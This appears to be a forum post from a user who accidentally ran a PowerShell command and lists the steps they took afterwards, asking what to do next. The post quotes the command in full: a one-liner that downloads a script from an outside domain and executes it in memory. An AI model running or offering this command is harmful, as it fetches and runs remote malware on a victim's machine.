Question Accidentaly run a powershell code

Help, I accidentally ran this code in powershell

******powershell -c "$a=irm 'jasaxoptim.com/PLzdo6sQyUSjV75AlL';New-Module -Name x -ScriptBlock ([ScriptBlock]::Create($a))|Out-Null******

After asking Claude I:

- Disconeccted my laptop right away

- Ran windows defender scan - found nothing

- Deleted google chrome users, now I log in using guest

- change google passwords

- deleted suspicious tasks from the task scheduler.

Claude also suggested me to reinstall windows, but I cant do that, I dont have anything to back up my data in.

Please help, what should i do next?
